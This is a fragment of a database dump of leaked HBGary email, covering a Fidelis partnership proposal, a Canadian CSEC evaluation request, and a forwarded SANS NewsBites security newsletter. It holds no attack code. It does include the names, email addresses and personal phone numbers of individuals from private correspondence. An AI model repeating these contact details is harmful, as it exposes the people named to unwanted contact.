<david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004834.M557595P14101Q1551.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks for your time to discuss how we can work together to\r\nintegrate Fidelis XPS in a Scout form factor into your incident response\r\nofferings at HB Gary Federal.&nbsp; I would like to bring some of the broader\r\nFidelis team into the discussion (cc&#8217;d on this e-mail), and work on some\r\nnext steps. \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAgreements &#8211; you should have received counter-signed\r\npartner agreements back from Gary Kramer (CFO).&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccess to VMs and API guide &#8211; with the\r\nsigned agreement, you will get a portal account.&nbsp; Kurt Bertone (VP,\r\nStrategic Alliances) will ensure the portal account process gets kicked\r\noff.&nbsp; Should we issue you the account, or is there a technical lead\r\non your team whose name we should put the account it?&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI&#8217;d recommend you download and install\r\nFidelis XPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be\r\nalmost identical in functionality to the Scout platform. \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD,\r\n1 vNIC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB HDD,\r\n4 vNICs\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe API guide will be included, and covers the\r\nvarying integration scenarios.&nbsp; Kurt and Jerry Mancini (VP,\r\nEngineering) can organize resources to provide technical support on the API.&nbsp;\r\nOur file extraction API is changing to make it much easier with our 6.2 release,\r\nso it may make sense to schedule a call with Jerry to discuss.&nbsp; I&#8217;ve\r\nalso attached the latest version of my proposed integration guide in case its\r\nuseful.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraining &#8211; Fidelis will provide a\r\ncomplimentary technical training session either in Bethesda or web-based,\r\ndepending which is preferred for the HB Gary Federal team, led by Kevin\r\nHarvey (Senior Sales Engineer), with assistance from Jerry on the API.&nbsp; &nbsp;There\r\nis also a chance that Kevin may be in Colorado Springs, so we may be able to\r\nhave that as the location.&nbsp; Getting dates confirmed quickly will be\r\nimportant to meet the aggressive launch date.\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketing Launch &#8211; Stacey Sweeney (VP,\r\nMarketing) will lead this from the Fidelis side. &nbsp;I&#8217;ve discussed\r\nsupporting FIRST in mid-June, so we&#8217;d need to move quickly.&nbsp; We&#8217;d\r\nlike to get HB Gary featured on our partner web site with a description of the incident\r\nresponse offerings, and would also be interested in a joint press release.&nbsp;\r\nWe also likely could provide some collateral on our products for the\r\nevent.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcuring a Scout &#8211; As we discussed, we\r\nare very excited about the Scout driving incident response opportunities.&nbsp;\r\nIn order to best determine how this business model will work, we propose that\r\nwe make available a Scout at an aggressive discount with a 3-6 month license\r\nincluded.&nbsp; At the end of the included license period, we get together and\r\nmutually review the results and determine how best to license the system moving\r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think\r\nthere could be a lot of potentially models. As I mentioned, we have the ability\r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning\r\nto a laptop-based model.&nbsp; Kurt, Gary and I will lead this process from\r\nFidelis.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReseller / leave behind proposal &#8211; I see\r\ntwo different opportunities here, and they aren&#8217;t mutually\r\nexclusive.&nbsp; Kurt leads our Channel Partner program and can provide\r\ndetails on becoming an authorized reseller.&nbsp; Additionally, since you are\r\nprimarily targeting federal customers, it may be difficult for HB Gary Federal to\r\nsell the solution without access to particular contract vehicles.&nbsp; We also\r\nhave a referral agreement program, lead out of our sales organizations.&nbsp; Gary\r\nBenedetti (VP, Sales) can provide the details. I&#8217;d suggest that we\r\nschedule a call between the four of us to discuss next steps, as one or more may\r\nmake sense.&nbsp; Aaron &#8211; can you provide a few times you have\r\navailable in the next week?&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&#8220;Go to market plan&#8221; &#8211; we like\r\nto put together a very simple document so that we understand the goals and\r\nobjectives of the partnership.&nbsp; This shouldn&#8217;t be more than 2 pages,\r\ncovering roadmap and rules of engagement document so we know how to engage in\r\nthe field.&nbsp; Gary Benedetti and I can help on the Fidelis\r\nside.&nbsp; We&#8217;ll start the template and provide it to you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe are excited about this offering and look forward to\r\nhelping launch it!\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15856,'aaron_hbgary_com/15856.html'),(6697,'2010-05-26','\"Deholo Nali\" <deholo@gmail.com>','/aaron@hbgary.com/new/1297004838.M882950P14101Q1552.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RECon evaluation','Thank you, Aaron, for your prompt answer.\r\nI will get back to you tomorrow.\r\nDeholo\r\nOn Tue, May 25, 2010 at 4:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Deholo,I am happy to help and would like to get your feedback.  I will giveyou a call tomorrow.  In the meantime you can download from HBGary.com\r\nand install Responder Pro which comes with RECon and DDNA.  Onceinstalled please email me the machine Id your given.AaronSent from my iPad\r\n\r\n\r\nOn May 25, 2010, at 1:39 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:&gt; Dear Aaron,&gt; My name is Deholo Nali. I&#39;m working for the Communications Security Establishment in Canada (CSEC).\r\n&gt; My unit would like to evaluate RECon before deciding how many copies we&#39;d buy. Could we make arrangements for this purpose ?&gt; My number is 613-949-5607.&gt; Deholo\r\n',16594,'aaron_hbgary_com/16594.html'),(6698,'2010-05-26','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004839.M187254P14101Q1553.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: SANS NewsBites Vol. 12 : House Subcommittee Approved Bill to Revamp FISMA to End 3-Ring Binder Waste','FYI - these seem right up your alley (despite their need to use the word\r\nAPT).  Sending in case you hadn\'t seen them...\r\n\r\n\r\nTwo cool competitions in Cyber Forensics as part of the US Cyber\r\nChallenge A new digital forensics contest based on real world malicious\r\nsoftware pushes investigators to learn and evolve within their trade\r\nas Advanced Persistent Threat (APT) hacking groups achieve new levels\r\nof success. The contest\'s theme - how to combat complex threats -\r\nwill be highlighted at the 2010 What Works in Digital Forensics\r\nand Incident Response Summit.  \r\nFor more information on the Summit:\r\nhttp://www.sans.org/forensics-incident-response-summit-2010\r\nFor more information on the contest:\r\nhttp://computer-forensics.sans.org/challenges/\r\n\r\n\r\nAnd there\'s an even more challenging forensics competition sponsored\r\nby the DOD Cyber Crime Center Forensics Challenge. Info at:\r\nhttp://www.dc3.mil/challenge/2010/\r\n\r\n-----Original Message-----\r\nFrom: <The SANS Institute [mailto:NewsBites@sans.org] \r\nSent: Tuesday, May 25, 2010 4:45 PM\r\nTo: Etue, David\r\nSubject: SANS NewsBites Vol. 12 : House Subcommittee Approved Bill to\r\nRevamp FISMA to End 3-Ring Binder Waste\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nTwo cool competitions in Cyber Forensics as part of the US Cyber\r\nChallenge A new digital forensics contest based on real world malicious\r\nsoftware pushes investigators to learn and evolve within their trade\r\nas Advanced Persistent Threat (APT) hacking groups achieve new levels\r\nof success. The contest\'s theme - how to combat complex threats -\r\nwill be highlighted at the 2010 What Works in Digital Forensics\r\nand Incident Response Summit.  \r\nFor more information on the Summit:\r\nhttp://www.sans.org/forensics-incident-response-summit-2010\r\nFor more information on the contest:\r\nhttp://computer-forensics.sans.org/challenges/\r\n\r\nAnd there\'s an even more challenging forensics competition sponsored\r\nby the DOD Cyber Crime Center Forensics Challenge. Info at:\r\nhttp://www.dc3.mil/challenge/2010/\r\n\r\nFederal employees who have done cool things in security - share\r\nplease at the 1105 Security Conference. Here\'s the call for paper:\r\nhttp://www.zoomerang.com/Survey/WEB22AJYFTDSSF\r\n                                      Alan\r\n************************************************************************\r\n*\r\nSANS NewsBites                  May\r\n25, 2010             Vol. 12, Num. 41\r\n************************************************************************\r\n*\r\nTOP OF THE NEWS\r\n  House Subcommittee Approved Bill to Revamp FISMA \r\n  Google Says it Won\'t Delete Any More Wi-Fi Data \r\n  Class Action Lawsuit Filed Against Google for Data Collection\r\nTHE REST OF THE WEEK\'S NEWS\r\n    Zuckerberg Promises to Make Facebook Privacy Controls Simpler\r\n    Eircom Implements \"Three Strikes\" Anti-Piracy Program \r\n    Three Charged in Payment Card Skimming Scheme \r\n    Energy Company Implements Secure Code Development Program \r\n    IBM Hands Out Infected USB Drives at Conference in Australia \r\n    Instigating Flood of eMail to Judge Does Not Constitute Contempt of\r\nCourt\r\n    VA Taking Steps to Improve Data Security \r\n    Man Charged with Attempting to Steal Video Game Code \r\n    FTC Looking Into Digital Photocopier Data Security Issues\r\n\r\n*********************** Sponsored By PacketMotion **********************\r\n\r\nConsidering segmenting your network PCI assets with firewalls?\r\n\r\nConsider this. Firewalls were designed to protect the perimeter, are\r\ndifficult to integrate, expensive to maintain, and fail to address\r\nother PCI audit requirements. Keep the number of \"in-scope\" systems\r\nto a minimum and reduce the cost of isolating your PCI assets with\r\nVirtual Segmentation.  \r\nhttp://www.sans.org/info/59648\r\n\r\n************************************************************************\r\n*\r\nTRAINING UPDATE\r\n -- SANSFIRE 2010, Baltimore, June 6-14, 2010\r\n36 courses.  Bonus evening presentations include Software Security\r\nStreet Fighting Style and The Verizon Data Breach Investigations Report\r\nhttp://www.sans.org/sansfire-2010/\r\n\r\n -- SANS Rocky Mountain 2010, Denver, July 12-17, 2010\r\n8 courses.  Bonus evening presentations include Hiding in Plain Sight:\r\nForensic Techniques to Counter the Advanced Persistent Threat\r\nhttp://www.sans.org/rocky-mountain-2010/\r\n\r\n -- SANS Boston 2010, August 2-8, 2010\r\n11 courses.  Special Events include Rapid Response Security Strategy\r\nCompetition http://www.sans.org/boston-2010/\r\n\r\n -- SANS Virginia Beach 2010, August 29-September 3, 2010\r\n9 courses http://www.sans.org/virginia-beach-2010/\r\n\r\n -- SANS Network Security 2010, Las Vegas, September 19-27, 2010\r\n40 courses. Bonus evening presentations include The Return of Command\r\nLine Kung Fu and Cyberwar or Business as Usual? The State of US\r\nFederal CyberSecurity Initiatives\r\nhttp://www.sans.org/network-security-2010/\r\n\r\nLooking for training in your own community? http://sans.org/community/\r\nSave on On-Demand training (30 full courses) - See samples at\r\nhttp://www.sans.org/ondemand/spring09.php Plus Amsterdam, Kuala\r\nLumpur, Canberra and Taipei all in the next 90 days.  For a list of\r\nall upcoming events, on-line and live: www.sans.org\r\n\r\n************************************************************************\r\n*\r\n\r\nTOP OF THE NEWS\r\n --House Subcommittee Approved Bill to Revamp FISMA\r\n(May 20, 2010)\r\nThe House Oversight and Government Reform Committee has approved a\r\nbill aimed at revamping the Federal Information Security Management\r\nAct (FISMA) which is nearly 10 years old. The 2010 Federal Information\r\nSecurity Amendments Act (HR 4900) would establish permanent positions\r\nof director of cyber security, and chief technology officer.  It would\r\nalso abolish certain paperwork requirements and require continuous\r\nnetwork monitoring in place of 3-ring binders.  The bill would also\r\nrequire IT contracts to address cyber security requirements.  The bill\r\nnow goes before the full House; a vote is expected sometime next month.\r\nA companion bill in the Senate is expected to be introduced in the\r\nnext few weeks.\r\nhttp://www.nextgov.com/nextgov/ng_20100520_4353.php\r\n\r\n --Google Says it Won\'t Delete Any More Wi-Fi Data\r\n(May 21, 2010)\r\nGoogle has called a halt to deleting Wi-Fi data it inadvertently\r\ncollected while gathering images for its Street View feature.  Google\r\nhas acknowledged that over the last three years, its Street View data\r\ncollection vehicles also gathered Wi-Fi payload data in 30 countries.\r\nSome of the countries had requested that Google delete the data it\r\nhad gathered, but the company has decided to stop deleting any more\r\ndata after the European Union requested that they stop deleting the\r\ninformation (to enable further investigation into whether or not\r\ncriminal charges will be brought against Google). Although Google\r\nhad said earlier that it was collecting only SSIDs and MAC addresses\r\nfrom the wireless networks, an audit of the data collection system\r\nordered by Germany authorities turned up evidence to the contrary.\r\nGoogle says it was unaware that the data were being collected until\r\npresented with the audit results.\r\nhttp://www.theregister.co.uk/2010/05/21/google_halts_wifi_payload_data_d\r\neletion/\r\n[Editor\'s Note (Pescatore): In business models that depend on getting\r\npeople to expose information in order to sell advertising around it, it\r\nseems like mistakes always seem to fall on the accidentally collecting\r\ntoo much information, versus mistakenly ever collecting too little.]\r\n\r\n --Class Action Lawsuit Filed Against Google for Data Collection\r\n(May 21 & 24, 2010)\r\nGoogle is facing a class action lawsuit over the Wi-Fi data gathered\r\nby its Street View data collection systems.  The suit seeks up to US\r\n$10,000 for each instance it collected data from unprotected wireless\r\nnetworks.  The lawsuit was filed in a Portland, Oregon federal court.\r\nThe plaintiffs have also filed a motion for a temporary restraining\r\norder that would prohibit Google from deleting any of the data it\r\ncollected.\r\nhttp://www.computerworlduk.com/management/government-law/legislation/new\r\ns/index.cfm?RSS&NewsId=20373\r\nhttp://www.computerworld.com/s/article/9177271/Google_saves_secures_Wi_F\r\ni_snooping_data?taxonomyId=17\r\n\r\n****************************  Sponsored Links:\r\n**************************\r\n\r\n1) Coffee Coaching: Start your day with a sip of coffee and a byte of\r\ntechnology -\r\nhttp://www.sans.org/info/59653\r\n\r\n2) Measuring network performance, security and stability under hostile\r\nconditions - Take our SANS Network Security Survey and be entered\r\ninto a drawing to win a $250 American Express Gift Certificate.\r\nhttp://www.sans.org/info/59658\r\n\r\n************************************************************************\r\n*\r\nTHE REST OF THE WEEK\'S NEWS\r\n --Zuckerberg Promises to Make Facebook Privacy Controls Simpler\r\n(May 21 & 24, 2010)\r\nMark Zuckerberg says Facebook \"missed the mark\" with recent changes\r\nto its privacy controls.  The social networking site\'s founder said\r\nthat the company\'s \"intention was to give [users] lots of granular\r\ncontrols, but that may not be what [they] wanted.\"  Zuckerberg said\r\nthat there are changes coming to Facebook privacy controls soon that\r\nwill make them simpler.  In a separate story, Facebook has fixed a\r\nsecurity hole that could have been exploited to let hackers delete\r\nFacebook users\' friends.\r\nZuckerberg\'s Column:\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/05/23/AR201005\r\n2303828.html\r\nhttp://news.bbc.co.uk/2/hi/technology/10145863.stm\r\nhttp://www.pcworld.com/businesscenter/article/196936/facebook_fixes_bug_\r\nthat_allowed_friend_deletion.html\r\nhttp://technology.timesonline.co.uk/tol/news/tech_and_web/article7133028\r\n.ece\r\n[Editor\'s Note (Pescatore): There is a big difference between making\r\nuser privacy controls \"simpler\" and making user privacy a core feature\r\nin all Facebook software development. Especially in a business model\r\nin which all revenue depends on getting people to expose information\r\nso you can sell advertising around it.]\r\n\r\n --Eircom Implements \"Three Strikes\" Anti-Piracy Program\r\n(May 24, 2010)\r\nAs of Monday, May 24, Irish Internet service provider (ISP (Eircom)\r\nwill start cutting off broadband service to its customers who have been\r\nidentified as persistent illegal filesharers.  Eircom will receive\r\nthe IP addresses of the alleged copyright violators from the Irish\r\nRecorded Music Association (IRMA); IRMA obtains the information with\r\nthe help of Dtecnet, an anti-piracy monitoring company.  Eircom will\r\nwarn users the first two times they are identified as copyright\r\nviolators.  If a particular Eircom customer is found to have engaged\r\nin illegal filesharing three times, the company will suspend access\r\nfor one week.  If the activity persists after the week\'s suspension,\r\nthe account will be suspended for a year.  The rules apply to illegal\r\nmusic sharing only.\r\nhttp://www.siliconrepublic.com/news/article/16313/comms/eircoms-anti-pir\r\nacy-crackdown-begins-today\r\nhttp://www.irishtimes.com/newspaper/frontpage/2010/0524/1224271013389.ht\r\nml\r\n[Editor\'s Note (Honan): Eircom is the only ISP currently complying\r\nwith this request from IRMA.  Other ISPs are refusing to implement\r\nthe three strikes rule claiming that there is no legal framework to\r\nsupport it.  The Internet Service Provider, UPC, will be taking their\r\ncase to court on June 19th.\r\n(Schultz): It appears that in time most if not all ISPs will go the\r\ndirection that Eircom has chosen to go. With ISPs increasingly being\r\nheld responsible for music and film downloads through peer-to-peer\r\nprotocols, what choice do ISPs really have?]\r\n\r\n --Three Charged in Payment Card Skimming Scheme\r\n(May 23 & 24, 2010)\r\nThree Washington, DC-area Cheesecake Factory restaurant employees have\r\nbeen charged in connection with a credit card skimming scheme that\r\nracked up more than US $117,000 in fraudulent charges.  The suspects\r\nwere identified because the restaurant provides waiters with cards\r\nwaiters must swipe before they swipe customers\' payment cards.\r\nTwo waiters remain unidentified because they are cooperating with\r\nauthorities; a third, Nicole L. Ward, allegedly recruited the pair to\r\nengage in the illegal activity.  Ward allegedly gave them the skimmers\r\nthey used to steal data from the cards; the devices were then given to\r\nother members of a larger ring.  Ward has been arrested and released.\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/05/23/AR201005\r\n2302921.html\r\nhttp://www.upi.com/Top_News/US/2010/05/23/Three-charged-in-DC-credit-car\r\nd-scam/UPI-81951274661024/\r\n\r\n --Energy Company Implements Secure Code Development Program\r\n(May 21, 2010)\r\nAfter a web page belonging to MidAmerican Energy Company was\r\nattacked through an SQL injection vulnerability, John Kerber, the\r\ncompany\'s manager of information protection, conducted a review of\r\nMidAmerican\'s security procedures.  He realized that the company\'s\r\ndecentralized network needed tightening and the number of Internet\r\naccess points reduced.  He also conducted a wide-reaching code review\r\nand developed an application security program based on the OWASP\r\nstandard and Security Development Lifecycle.\r\nhttp://www.csoonline.com/article/594613/Code_Security_MidAmerican_Energy\r\n_s_top_priority_after_SQL_injection_attacks\r\n[Editor\'s Note (Ranum): Application security is, and always has been,\r\nthe elephant in the room. It\'s heartening to see efforts like this\r\none happening in key infrastructure.]\r\n\r\n --IBM Hands Out Infected USB Drives at Conference in Australia\r\n(May 21, 2010)\r\nUSB drives handed out as swag by IBM at last week\'s Asia Pacific\r\nInformation Security Conference have been found to be infected\r\nwith malware.  IBM has sent all conference attendees an email\r\nacknowledging and apologizing for the problem and offering instructions\r\nfor removing the infection from systems.  This particular malware was\r\ndiscovered in 2008 and should be detected by most anti-virus products.\r\nInternet Storm Center: http://isc.sans.org/diary.html?storyid=8827\r\nhttp://www.h-online.com/security/news/item/IBM-hands-out-infected-USB-dr\r\nives-at-security-conference-1005580.html\r\nhttp://www.securecomputing.net.au/News/175451,ibm-unleashes-virus-on-aus\r\ncert-delegates.aspx\r\nhttp://www.theregister.co.uk/2010/05/21/ibm_usb_malware_snafu/\r\n[Editor\'s Note (Ranum): I was at the conference and, on my flight\r\nhome, gave the USB stick to the guy sitting next to me. If he ever\r\nfigures out what hit him, he\'ll probably think I did it deliberately.]\r\n\r\n --Instigating Flood of eMail to Judge Does Not Constitute\r\nContempt of Court\r\n(May 20 & 21, 2010)\r\nEncouraging supporters to spam a judge to rule in a defendant\'s\r\nfavor does not constitute contempt of court, according to a federal\r\nappeals court decision.  The 7th Circuit Court of Appeals overturned\r\na contempt citation against Kevin Trudeau, who had encouraged his\r\nsupporters to inundate the judge in his case with email urging him\r\nto rule in Trudeau\'s favor.   The judge\'s Blackberry froze from\r\nthe deluge.  Trudeau was being sued by the Federal Trade Commission\r\n(FTC).  The issue raised in the case is whether contempt can be\r\ncited outside the judge\'s presence.  The judge\'s attorney argued\r\nthat computers are part of the courtroom and hence their disruption\r\ncould be found to constitute contempt.  The appeals court wrote, \"We\r\nresist the district court\'s suggestion that the term \'presence\' should\r\nbe expanded to reach beyond the judge\'s actual, physical presence.\"\r\nThe court vacated the 30-day jail sentence and the finding of contempt.\r\nA civil contempt charge for which Trudeau was originally being tried\r\non different issues remains.\r\nhttp://www.wired.com/threatlevel/2010/05/spamming-a-judge/#more-16406\r\nhttp://www.leagle.com/unsecure/page.htm?shortname=infco20100520188\r\n\r\n --VA Taking Steps to Improve Data Security\r\n(May 19 & 21, 2010)\r\nAt a hearing of the House Veterans Affairs Committee subcommittee\r\non oversight and investigations, convened in the wake of a number of\r\ndata security breaches involving VA information, VA CIO Roger Baker\r\ndescribed steps his agency is taking to improve data security.  One of\r\nthe breaches involved a laptop stolen from a contractor\'s office; the\r\ndata on the laptop were not encrypted.  VA contracts include language\r\nrequiring that contractors comply with VA data protection policies,\r\nwhich include data encryption.  However, it is difficult to ensure\r\nthat the contractors are following the rules, so the VA has begun\r\nauditing its supply chain partners.  The VA also plans to deploy data\r\nscanning technology to monitor the activity of electronic devices that\r\nare connected to the VA network.  Baker expects to \"have visibility to\r\nevery device on [the department\'s] network by September 30 this year.\"\r\nThe VA also plans to make sure all 50,000 of its medical devices are\r\nsecure by the end of the year.\r\nhttp://www.govhealthit.com/newsitem.aspx?nid=73775\r\nhttp://www.govhealthit.com/newsitem.aspx?nid=73794\r\nhttp://gcn.com/articles/2010/05/19/baker-defends-va-efforts-against-crit\r\nicism-of-data-breaches.aspx?s=gcndaily_200510\r\n\r\n --Man Charged with Attempting to Steal Video Game Code\r\n(May 19 & 20, 2010)\r\nJustin May has been charged with larceny and buying, selling or\r\nreceiving stolen trade secrets for attempting to download the code of\r\nan unreleased video game at the PAX East 2010 conference in March.\r\nMay allegedly used his laptop to gain unauthorized access to an\r\nXbox 360 test kit demonstrating a game called \"Breach\" and was able\r\nto download about 14MB of the game\'s code before he was caught.\r\nMay pleaded not guilty to the charges.\r\nhttp://www.news.com.au/business/breaking-news/hacker-stole-7m-game-code-\r\nat-tech-show/story-e6frfkur-1225868939880\r\nhttp://www.networkworld.com/news/2010/051910-breach-thief-pleads-not.htm\r\nl\r\nhttp://www.gamepro.com/article/news/214614/exhibitors-react-to-pax-east-\r\nattempted-breach-theft/\r\n\r\n --FTC Looking Into Digital Photocopier Data Security Issues\r\n(May 18 & 19, 2010)\r\nThe FTC is looking into the data security risks inherent in\r\ndigital photocopiers.  Many photocopiers in use today retain all\r\nscanned images, leading to concerns that machines that are sold,\r\nthrown away, or returned after being leased could expose sensitive\r\ndata, including financial and health information.  In a letter to\r\nRepresentative Edward Markey (D-Mass.), FTC Chairman Jon Leibowitz\r\nnoted, \"with respect to government agencies, our own practice is to\r\nacquire ownership of the hard drives in the digital copiers [they]\r\nlease, and to erase and subsequently destroy these hard drives when\r\nthe copiers are returned.\"  Leibowitz\'s letter is a response to a\r\nletter from Rep. Markey regarding the security issues raised about\r\ndigital copiers in an April 19 CBS news report.\r\nhttp://www.tgdaily.com/security-features/49823-ftc-to-investigate-photoc\r\nopier-security-risks\r\nhttp://voices.washingtonpost.com/posttech/2010/05/ftc_probes_privacy_con\r\ncerns_wi.html\r\nhttp://www.technewsworld.com/story/70029.html?wlc=1274713724\r\nhttp://markey.house.gov/docs/markeyftc.pdf\r\n[Editor\'s Note (Northcutt): Not just photocopiers, some high end\r\nprinters retain print files and it if is a color photocopier, keep\r\nin mind a number of photocopiers / printers embed a steganographic\r\nimage designed not to be visible to the casual observer that has the\r\nserial number of the device.  Finally to add insult to injury, some of\r\nthese devices give off toxic fumes with really un-healthy selenium and\r\ncadmium sulphide: \r\nhttp://www.lhc.org.uk/members/pubs/factsht/76fact.pdf\r\nhttp://www.eff.org/pages/list-printers-which-do-or-do-not-display-tracki\r\nng-dots\r\nhttp://news.uns.purdue.edu/UNS/html4ever/2004/041011.Delp.forensics.html\r\n]\r\n\r\n**********************************************************************\r\nThe Editorial Board of SANS NewsBites\r\n\r\nEugene Schultz, Ph.D., CISM, CISSP is CTO of Emagined Security and\r\nthe author/co-author of books on Unix security, Internet security,\r\nWindows NT/2000 security, incident response, and intrusion detection\r\nand prevention. He was also the co-founder and original project manager\r\nof the Department of Energy\'s Computer Incident Advisory Capability\r\n(CIAC)\r\n\r\nJohn Pescatore is Vice President at Gartner Inc.; he has worked in\r\ncomputer and network security since 1978.\r\n\r\nStephen Northcutt founded the GIAC certification and currently serves\r\nas President of the SANS Technology Institute, a post graduate level\r\nIT Security College, www.sans.edu.\r\n\r\nProf. Howard A. Schmidt is the Cyber Coordinator for the President\r\nof the United States\r\n\r\nDr. Johannes Ullrich is Chief Technology Officer of the Internet\r\nStorm Center and Dean of the Faculty of the graduate school at the\r\nSANS Technology Institute.\r\n\r\nEd Skoudis is co-founder of Inguardians, a security research and\r\nconsulting firm, and author and lead instructor of the SANS Hacker\r\nExploits and Incident Handling course.\r\n\r\nRob Lee is the curriculum lead instructor for the SANS Institute\'s\r\ncomputer forensic courses (computer-forensics.sans.org) and a Director\r\nat the incident response company Mandiant.\r\n\r\nRohit Dhamankar is the Director of Security Research at TippingPoint,\r\nwhere he leads the Digital Vaccine and ThreatLinQ groups. His group\r\ndevelops protection filters to address vulnerabilities, viruses,\r\nworms, Trojans, P2P, spyware, and other applications for use in\r\nTippingPoint\'s Intrusion Prevention Systems.\r\n\r\nTom Liston is a Senior Security Consultant and Malware Analyst for\r\nInguardians, a handler for the SANS Institute\'s Internet Storm Center,\r\nand co-author of the book Counter Hack Reloaded.\r\n\r\nDr. Eric Cole is an instructor, author and fellow with The SANS\r\nInstitute. He has written five books, including Insider Threat and\r\nhe is a senior Lockheed Martin Fellow.\r\n\r\nRon Dick directed the National Infrastructure Protection Center (NIPC)\r\nat the FBI and is the incoming President of the InfraGard National\r\nMembers Alliance - with 22,000 members.\r\n\r\nMason Brown is one of a very small number of people in the information\r\nsecurity field who have held a top management position in a Fortune\r\n50 company (Alcoa).  He is leading SANS\' global initiative to improve\r\napplication security.\r\n\r\nDavid Hoelzer is the director of research & principal examiner\r\nfor Enclave Forensics and a senior fellow with the SANS Technology\r\nInstitute.\r\n\r\nMark Weatherford, CISSP, CISM, is Chief Information Security Officer\r\nof the State of California.\r\n\r\nAlan Paller is director of research at the SANS Institute.\r\n\r\nMarcus J. Ranum built the first firewall for the White House and\r\nis widely recognized as a security products designer and industry\r\ninnovator.\r\n\r\nClint Kreitner is the founding President and CEO of The Center for\r\nInternet Security.\r\n\r\nBrian Honan is an independent security consultant based in Dublin,\r\nIreland.\r\n\r\nDavid Turley is SANS infrastructure manager and serves as production\r\nmanager and final editor on SANS NewsBites.\r\n\r\nPlease feel free to share this with interested parties via email,\r\nbut no posting is allowed on web sites. For a free subscription,\r\n(and for free posters) or to update a current subscription, visit\r\nhttp://portal.sans.org/\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.7 (GNU/Linux)\r\n\r\niD8DBQFL/CCU+LUG5KFpTkYRAmfeAKCS/P2hfi1MN88SEx2hp4J3lHAGywCfY5pB\r\nmHflbW4mbYNq9FkcPwmvWAM=\r\n=0cYG\r\n-----END PGP SIGNATURE-----\r\n',6318,'aaron_hbgary_com/6318.html'),(6699,'2010-05-26','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004841.M343995P14101Q1554.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',9961,'aaron_hbgary_com/9961.html'),(6700,'2010-05-26','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004842.M193150P14101Q1555.eml','\"Barr Aaron\" 